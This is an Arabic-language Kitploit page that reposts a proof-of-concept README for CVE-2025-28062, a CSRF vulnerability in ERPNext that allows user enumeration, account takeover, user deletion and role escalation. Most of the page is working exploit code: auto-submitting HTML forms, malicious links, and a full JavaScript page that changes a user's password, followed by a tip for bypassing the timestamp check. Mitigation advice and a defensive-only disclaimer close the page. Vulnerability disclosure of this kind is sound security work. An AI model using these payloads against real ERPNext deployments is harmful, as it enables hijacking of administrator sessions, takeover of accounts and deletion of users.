Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-28062 — إثبات المفهوم | Kitploit
أدوات/GitHubGitHub/thvt0ne/cve-2025-28062
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubthvt0ne/cve-2025-28062

CVE-2025-28062

إثبات المفهوم

عرض المستودع
2منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-28062 — ثغرة تزوير الطلب عبر المواقع (CSRF) تؤدي إلى الاستيلاء على الحسابات في ERPNext 14.82.1 , 14.74.3

📌 ملخص

تم اكتشاف ثغرة تزوير الطلب عبر المواقع (CSRF) في ERPNext الإصدارين 14.82.1 و 14.74.3، مما يسمح للمهاجمين بتنفيذ إجراءات غير مصرح بها مثل:

  • تعداد المستخدمين
  • الاستيلاء على الحسابات (إعادة تعيين كلمة المرور)
  • حذف مستخدم بشكل تعسفي
  • تصعيد الصلاحيات (إضافة أدوار)

ينشأ الثغرة من نقص حماية CSRF على نقاط نهاية API الإدارية الحرجة. إذا قام مسؤول موثّق بزيارة موقع ضار، يتم استغلال جلسته لتنفيذ هذه الإجراءات دون موافقته.


🛠 التفاصيل الفنية

  • نوع الثغرة: CSRF (CWE-352)
  • المنتج المتأثر: ERPNext
  • الإصدارات: 14.82.1, 14.74.3
  • الخطورة: عالية
  • درجة CVSS v3.1: 8.1
  • الحالة: لم يتم إصلاحها
  • مكتشف الثغرة: Ahmed Thaiban Thvt0ne.
  • تاريخ الاكتشاف: 2025-02-09
  • معرف CVE: CVE-2025-28062 (محجوز)

🚀 إثباتات المفهوم (PoCs)

1. تعداد المستخدمين

root@kitploit:~
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
  <input type="hidden" name="doctype" value="User">
  <input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
  <input type="hidden" name="view" value="List">
  <input type="hidden" name="page_length" value="100">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>

2. حذف مستخدم

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
  Click to delete user
</a>

3. إضافة دور متميز لأي مستخدم

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
  Add "System Manager" role to user
</a>

💡 راجع كامل حمولة JSON في المستودع: /PoCs/privilege_escalation.html


4. تغيير كلمة مرور أي مستخدم

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <script>
        function performCSRF() {
            // Target API URL
            var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs"; 

            // JSON Payload
            var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});

            
            var encodedPayload = (jsonPayload);  

            // Create and submit the form
            var form = document.createElement("form");
            form.method = "GET";
            form.action = targetUrl;
            form.enctype = "application/x-www-form-urlencoded";  

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "doc";  // Correct parameter name
            input.value = encodedPayload;  // Correct encoding
            
            var input2 = document.createElement("input");
            input2.type = "hidden";
            input2.name = "action";  // Correct parameter name
            input2.value = "Save";  // Correct encoding
            
            
            form.appendChild(input);
            form.appendChild(input2);
            document.body.appendChild(form);
            form.submit();
        }

        // Execute CSRF after waiting to ensure cookies are set
        setTimeout(performCSRF, 3000);
    </script>
</body>
</html>

تحاكي هذه الصورة دخول المسؤول إلى أي موقع ضار: image

ملاحظة: إذا كانت الطوابع الزمنية المعدلة قديمة، قد يعطي الموقع هذه الرسالة: image

ولتجاوزها، استخدم صفحة HTML http://localhost:8080/api/resource/User/[email protected][owner] واحصل على الطابع الزمني المعدل (لتسهيل إثبات المفهوم).

image

قم بتغييره في محتوى الصفحة إلى الأحدث:

image

بمجرد إرساله، سيتم تغيير كلمة مرور المستخدم!!

image

إذا زار مسؤول موثّق صفحة الويب هذه، سيتم استخدام جلسته لتنفيذ طلب تغيير كلمة مرور الحساب دون أي تفاعل من المستخدم.


🧪 سيناريو الاستغلال

يستضيف المهاجم صفحة ضارة. إذا زار مسؤول ERPNext هذه الصفحة أثناء تسجيل دخوله، يقوم متصفحه تلقائيًا بتشغيل طلبات مصممة لـ ERPNext، مما يتسبب في تعديلات أو حذف للحسابات دون علمه.


🔐 توصيات التخفيف

  • فرض رموز CSRF على جميع نقاط النهاية التي تغير الحالة
  • منع طلبات GET للإجراءات مثل الحفظ/الحذف
  • تعيين ملفات تعريف الارتباط للمصادقة باستخدام SameSite=Strict
  • طلب إعادة المصادقة للإجراءات الحرجة (مثل تغيير كلمة المرور، تغيير الأدوار)

🔗 المراجع

  • ERPNext GitHub
  • Ahmed Thaiban – LinkedIn
  • OWASP CSRF Guide

🙏 شكر وتقدير

اكتشفها Ahmed Thaiban Thvt0ne.


📢 إخلاء مسؤولية

هذا البحث مخصص لأغراض دفاعية فقط. الهدف هو رفع الوعي وتشجيع ممارسات التطوير الآمن.

تنزيل الأداة